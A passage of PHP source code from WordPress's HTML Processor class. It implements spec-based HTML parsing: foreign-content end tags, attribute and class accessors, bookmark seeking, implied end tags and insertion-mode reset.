			 * >   ↪ the token's tag name is "script", and the new current node is in the SVG namespace
			 * >         Acknowledge the token's self-closing flag, and then act as
			 * >         described in the steps for a "script" end tag below.
			 * >
			 * >   ↪ Otherwise
			 * >         Pop the current node off the stack of open elements and
			 * >         acknowledge the token's self-closing flag.
			 *
			 * Since the rules for SCRIPT below indicate to pop the element off of the stack of
			 * open elements, which is the same for the Otherwise condition, there's no need to
			 * separate these checks. The difference comes when a parser operates with the scripting
			 * flag enabled, and executes the script, which this parser does not support.
			 */
			if ( $this->state->current_token->has_self_closing_flag ) {
				$this->state->stack_of_open_elements->pop();
			}
			return true;
		}

		/*
		 * > An end tag whose name is "script", if the current node is an SVG script element.
		 */
		if ( $this->is_tag_closer() && 'SCRIPT' === $this->state->current_token->node_name && 'svg' === $this->state->current_token->namespace ) {
			$this->state->stack_of_open_elements->pop();
			return true;
		}

		/*
		 * > Any other end tag
		 */
		if ( $this->is_tag_closer() ) {
			$node = $this->state->stack_of_open_elements->current_node();
			if ( $tag_name !== $node->node_name ) {
				// @todo Indicate a parse error once it's possible.
			}
			in_foreign_content_end_tag_loop:
			if ( $node === $this->state->stack_of_open_elements->at( 1 ) ) {
				return true;
			}

			/*
			 * > If node's tag name, converted to ASCII lowercase, is the same as the tag name
			 * > of the token, pop elements from the stack of open elements until node has
			 * > been popped from the stack, and then return.
			 */
			if ( 0 === strcasecmp( $node->node_name, $tag_name ) ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();
					if ( $node === $item ) {
						return true;
					}
				}
			}

			foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
				$node = $item;
				break;
			}

			if ( 'html' !== $node->namespace ) {
				goto in_foreign_content_end_tag_loop;
			}

			in_foreign_content_process_in_current_insertion_mode:
			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		}

		$this->bail( 'Should not have been able to reach end of IN FOREIGN CONTENT processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/*
	 * Internal helpers
	 */

	/**
	 * Creates a new bookmark for the currently-matched token and returns the generated name.
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Renamed from bookmark_tag() to bookmark_token().
	 *
	 * @throws Exception When unable to allocate requested bookmark.
	 *
	 * @return string|false Name of created bookmark, or false if unable to create.
	 */
	private function bookmark_token() {
		if ( ! parent::set_bookmark( ++$this->bookmark_counter ) ) {
			$this->last_error = self::ERROR_EXCEEDED_MAX_BOOKMARKS;
			throw new Exception( 'could not allocate bookmark' );
		}

		return "{$this->bookmark_counter}";
	}

	/*
	 * HTML semantic overrides for Tag Processor
	 */

	/**
	 * Indicates the namespace of the current token, or "html" if there is none.
	 *
	 * @return string One of "html", "math", or "svg".
	 */
	public function get_namespace(): string {
		if ( ! isset( $this->current_element ) ) {
			return parent::get_namespace();
		}

		return $this->current_element->token->namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * The semantic rules for HTML specify that certain tags be reprocessed
	 * with a different tag name. Because of this, the tag name presented
	 * by the HTML Processor may differ from the one reported by the HTML
	 * Tag Processor, which doesn't apply these semantic rules.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $processor->next_tag() === true;
	 *     $processor->get_tag() === 'DIV';
	 *
	 *     $processor->next_tag() === false;
	 *     $processor->get_tag() === null;
	 *
	 * @since 6.4.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null !== $this->last_error ) {
			return null;
		}

		if ( $this->is_virtual() ) {
			return $this->current_element->token->node_name;
		}

		$tag_name = parent::get_tag();

		/*
		 * > A start tag whose tag name is "image"
		 * > Change the token's tag name to "img" and reprocess it. (Don't ask.)
		 */
		return ( 'IMAGE' === $tag_name && 'html' === $this->get_namespace() )
			? 'IMG'
			: $tag_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		return $this->is_virtual() ? false : parent::has_self_closing_flag();
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		return $this->is_virtual()
			? $this->current_element->token->node_name
			: parent::get_token_name();
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		if ( $this->is_virtual() ) {
			/*
			 * This logic comes from the Tag Processor.
			 *
			 * @todo It would be ideal not to repeat this here, but it's not clearly
			 *       better to allow passing a token name to `get_token_type()`.
			 */
			$node_name     = $this->current_element->token->node_name;
			$starting_char = $node_name[0];
			if ( 'A' <= $starting_char && 'Z' >= $starting_char ) {
				return '#tag';
			}

			if ( 'html' === $node_name ) {
				return '#doctype';
			}

			return $node_name;
		}

		return parent::get_token_type();
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_token() === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		return $this->is_virtual() ? null : parent::get_attribute( $name );
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		return $this->is_virtual() ? false : parent::set_attribute( $name, $value );
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		return $this->is_virtual() ? false : parent::remove_attribute( $name );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		return $this->is_virtual() ? null : parent::get_attribute_names_with_prefix( $prefix );
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		return $this->is_virtual() ? false : parent::add_class( $class_name );
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		return $this->is_virtual() ? false : parent::remove_class( $class_name );
	}

	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @todo When reconstructing active formatting elements with attributes, find a way
	 *       to indicate if the virtually-reconstructed formatting elements contain the
	 *       wanted class name.
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		return $this->is_virtual() ? null : parent::has_class( $wanted_class );
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 */
	public function class_list() {
		return $this->is_virtual() ? null : parent::class_list();
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		return $this->is_virtual() ? '' : parent::get_modifiable_text();
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		return $this->is_virtual() ? null : parent::get_comment_type();
	}

	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $bookmark_name ): bool {
		return parent::release_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Moves the internal cursor in the HTML Processor to a given bookmark's location.
	 *
	 * Be careful! Seeking backwards to a previous location resets the parser to the
	 * start of the document and reparses the entire contents up until it finds the
	 * sought-after bookmarked location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		// Flush any pending updates to the document before beginning.
		$this->get_updated_html();

		$actual_bookmark_name = "_{$bookmark_name}";
		$processor_started_at = $this->state->current_token
			? $this->bookmarks[ $this->state->current_token->bookmark_name ]->start
			: 0;
		$bookmark_starts_at   = $this->bookmarks[ $actual_bookmark_name ]->start;
		$direction            = $bookmark_starts_at > $processor_started_at ? 'forward' : 'backward';

		/*
		 * If seeking backwards, it's possible that the sought-after bookmark exists within an element
		 * which has been closed before the current cursor; in other words, it has already been removed
		 * from the stack of open elements. This means that it's insufficient to simply pop off elements
		 * from the stack of open elements which appear after the bookmarked location and then jump to
		 * that location, as the elements which were open before won't be re-opened.
		 *
		 * In order to maintain consistency, the HTML Processor rewinds to the start of the document
		 * and reparses everything until it finds the sought-after bookmark.
		 *
		 * There are potentially better ways to do this: cache the parser state for each bookmark and
		 * restore it when seeking; store an immutable and idempotent register of where elements open
		 * and close.
		 *
		 * If caching the parser state it will be essential to properly maintain the cached stack of
		 * open elements and active formatting elements when modifying the document. This could be a
		 * tedious and time-consuming process as well, and so for now will not be performed.
		 *
		 * It may be possible to track bookmarks for where elements open and close, and in doing so
		 * be able to quickly recalculate breadcrumbs for any element in the document. It may even
		 * be possible to remove the stack of open elements and compute it on the fly this way.
		 * If doing this, the parser would need to track the opening and closing locations for all
		 * tokens in the breadcrumb path for any and all bookmarks. By utilizing bookmarks themselves
		 * this list could be automatically maintained while modifying the document. Finding the
		 * breadcrumbs would then amount to traversing that list from the start until the token
		 * being inspected. Once an element closes, if there are no bookmarks pointing to locations
		 * within that element, then all of these locations may be forgotten to save on memory use
		 * and computation time.
		 */
		if ( 'backward' === $direction ) {

			/*
			 * When moving backward, stateful stacks should be cleared.
			 */
			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->remove_node( $item );
			}

			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				$this->state->active_formatting_elements->remove_node( $item );
			}

			/*
			 * **After** clearing stacks, more processor state can be reset.
			 * This must be done after clearing the stack because those stacks generate events that
			 * would appear on a subsequent call to `next_token()`.
			 */
			$this->state->frameset_ok                       = true;
			$this->state->stack_of_template_insertion_modes = array();
			$this->state->head_element                      = null;
			$this->state->form_element                      = null;
			$this->state->current_token                     = null;
			$this->current_element                          = null;
			$this->element_queue                            = array();

			/*
			 * The absence of a context node indicates a full parse.
			 * The presence of a context node indicates a fragment parser.
			 */
			if ( null === $this->context_node ) {
				$this->change_parsing_namespace( 'html' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_INITIAL;
				$this->breadcrumbs           = array();

				$this->bookmarks['initial'] = new WP_HTML_Span( 0, 0 );
				parent::seek( 'initial' );
				unset( $this->bookmarks['initial'] );
			} else {

				/*
				 * Push the root-node (HTML) back onto the stack of open elements.
				 *
				 * Fragment parsers require this extra bit of setup.
				 * It's handled in full parsers by advancing the processor state.
				 */
				$this->state->stack_of_open_elements->push(
					new WP_HTML_Token(
						'root-node',
						'HTML',
						false
					)
				);

				$this->change_parsing_namespace(
					$this->context_node->integration_node_type
						? 'html'
						: $this->context_node->namespace
				);

				if ( 'TEMPLATE' === $this->context_node->node_name ) {
					$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				}

				$this->reset_insertion_mode_appropriately();
				$this->breadcrumbs = array_slice( $this->breadcrumbs, 0, 2 );
				parent::seek( $this->context_node->bookmark_name );
			}
		}

		/*
		 * Here, the processor moves forward through the document until it matches the bookmark.
		 * do-while is used here because the processor is expected to already be stopped on
		 * a token than may match the bookmarked location.
		 */
		do {
			/*
			 * The processor will stop on virtual tokens, but bookmarks may not be set on them.
			 * They should not be matched when seeking a bookmark, skip them.
			 */
			if ( $this->is_virtual() ) {
				continue;
			}
			if ( $bookmark_starts_at === $this->bookmarks[ $this->state->current_token->bookmark_name ]->start ) {
				return true;
			}
		} while ( $this->next_token() );

		return false;
	}

	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * Bookmarks cannot be set on tokens that do no appear in the original
	 * HTML text. For example, the HTML `<table><td>` stops at tags `TABLE`,
	 * `TBODY`, `TR`, and `TD`. The `TBODY` and `TR` tags do not appear in
	 * the original HTML and cannot be used as bookmarks.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $bookmark_name ): bool {
		if ( $this->is_virtual() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Cannot set bookmarks on tokens that do no appear in the original HTML text.' ),
				'6.8.0'
			);
			return false;
		}
		return parent::set_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.5.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return parent::has_bookmark( "_{$bookmark_name}" );
	}

	/*
	 * HTML Parsing Algorithms
	 */

	/**
	 * Closes a P element.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#close-a-p-element
	 */
	private function close_a_p_element(): void {
		$this->generate_implied_end_tags( 'P' );
		$this->state->stack_of_open_elements->pop_until( 'P' );
	}

	/**
	 * Closes elements that have implied end tags.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 *
	 * @param string|null $except_for_this_element Perform as if this element doesn't exist in the stack of open elements.
	 */
	private function generate_implied_end_tags( ?string $except_for_this_element = null ): void {
		$elements_with_implied_end_tags = array(
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
		);

		$no_exclusions = ! isset( $except_for_this_element );

		while (
			( $no_exclusions || ! $this->state->stack_of_open_elements->current_node_is( $except_for_this_element ) ) &&
			in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true )
		) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Closes elements that have implied end tags, thoroughly.
	 *
	 * See the HTML specification for an explanation why this is
	 * different from generating end tags in the normal sense.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see WP_HTML_Processor::generate_implied_end_tags
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 */
	private function generate_implied_end_tags_thoroughly(): void {
		$elements_with_implied_end_tags = array(
			'CAPTION',
			'COLGROUP',
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
			'TBODY',
			'TD',
			'TFOOT',
			'TH',
			'THEAD',
			'TR',
		);

		while ( in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true ) ) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Returns the adjusted current node.
	 *
	 * > The adjusted current node is the context element if the parser was created as
	 * > part of the HTML fragment parsing algorithm and the stack of open elements
	 * > has only one element in it (fragment case); otherwise, the adjusted current
	 * > node is the current node.
	 *
	 * @see https://html.spec.whatwg.org/#adjusted-current-node
	 *
	 * @since 6.7.0
	 *
	 * @return WP_HTML_Token|null The adjusted current node.
	 */
	private function get_adjusted_current_node(): ?WP_HTML_Token {
		if ( isset( $this->context_node ) && 1 === $this->state->stack_of_open_elements->count() ) {
			return $this->context_node;
		}

		return $this->state->stack_of_open_elements->current_node();
	}

	/**
	 * Reconstructs the active formatting elements.
	 *
	 * > This has the effect of reopening all the formatting elements that were opened
	 * > in the current body, cell, or caption (whichever is youngest) that haven't
	 * > been explicitly closed.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#reconstruct-the-active-formatting-elements
	 *
	 * @return bool Whether any formatting elements needed to be reconstructed.
	 */
	private function reconstruct_active_formatting_elements(): bool {
		/*
		 * > If there are no entries in the list of active formatting elements, then there is nothing
		 * > to reconstruct; stop this algorithm.
		 */
		if ( 0 === $this->state->active_formatting_elements->count() ) {
			return false;
		}

		$last_entry = $this->state->active_formatting_elements->current_node();
		if (

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is a marker;
			 * > stop this algorithm.
			 */
			'marker' === $last_entry->node_name ||

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is an
			 * > element that is in the stack of open elements, then there is nothing to reconstruct;
			 * > stop this algorithm.
			 */
			$this->state->stack_of_open_elements->contains_node( $last_entry )
		) {
			return false;
		}

		$this->bail( 'Cannot reconstruct active formatting elements when advancing and rewinding is required.' );
	}

	/**
	 * Runs the reset the insertion mode appropriately algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#reset-the-insertion-mode-appropriately
	 */
	private function reset_insertion_mode_appropriately(): void {
		// Set the first node.
		$first_node = null;
		foreach ( $this->state->stack_of_open_elements->walk_down() as $first_node ) {
			break;
		}

		/*
		 * > 1. Let _last_ be false.
		 */
		$last = false;
		foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
			/*
			 * > 2. Let _node_ be the last node in the stack of open elements.
			 * > 3. _Loop_: If _node_ is the first node in the stack of open elements, then set _last_
			 * >            to true, and, if the parser was created as part of the HTML fragment parsing
			 * >            algorithm (fragment case), set node to the context element passed to
			 * >            that algorithm.
			 * > …
			 */
			if ( $node === $first_node ) {
				$last = true;
				if ( isset( $this->context_node ) ) {
					$node = $this->context_node;
				}
			}

			// All of the following rules are for matching HTML elements.
			if ( 'html' !== $node->namespace ) {
				continue;
			}

			switch ( $node->node_name ) {
				/*
				 * > 4. If node is a `select` element, run these substeps:
				 * >   1. If _last_ is true, jump to the step below labeled done.
				 * >   2. Let _ancestor_ be _node_.
				 * >   3. _Loop_: If _ancestor_ is the first node in the stack of open elements,
				 * >      jump to the step below labeled done.
				 * >   4. Let ancestor be the node before ancestor in the stack of open elements.
				 * >   …
				 * >   7. Jump back to the step labeled _loop_.
				 * >   8. _Done_: Switch the insertion mode to "in select" and return.
				 */
				case 'SELECT':
					if ( ! $last ) {
						foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $ancestor ) {
							if ( 'html' !== $ancestor->namespace ) {
								continue;
							}

							switch ( $ancestor->node_name ) {
								/*
								 * > 5. If _ancestor_ is a `template` node, jump to the step below
								 * >    labeled _done_.
								 */
								case 'TEMPLATE':
									break 2;

								/*
								 * > 6. If _ancestor_ is a `table` node, switch the insertion mode to
								 * >    "in select in table" and return.
								 */
								case 'TABLE':
									$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
									return;
							}
						}
					}
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
					return;

